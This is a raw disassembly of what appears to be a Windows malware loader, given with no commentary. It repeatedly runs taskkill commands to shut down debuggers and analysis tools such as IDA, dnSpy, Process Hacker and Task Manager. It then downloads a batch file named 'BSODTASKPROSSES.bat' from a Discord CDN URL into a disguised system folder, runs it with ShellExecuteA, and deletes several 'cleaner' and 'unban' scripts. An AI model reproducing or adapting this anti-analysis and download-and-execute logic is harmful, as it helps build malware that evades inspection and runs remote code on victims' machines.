xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd330]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd310]
call fcn.14005d9d0
lea rcx, [rsp + 0xd310]
call fcn.14005d8d0
mov qword [rsp + 0x5a8], rax
lea rcx, [rsp + 0xd330]
call fcn.14005d8d0
mov qword [rsp + 0x5b0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x5a8]
mov rdx, qword [rsp + 0x5b0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
lea rcx, [rsp + 0xd310]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd330]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd350]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd370]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd390]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd3b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd3d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd3f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd410]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd430]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd450]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd470]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd490]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd4b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd4d0]
call fcn.14005d8e0
nop
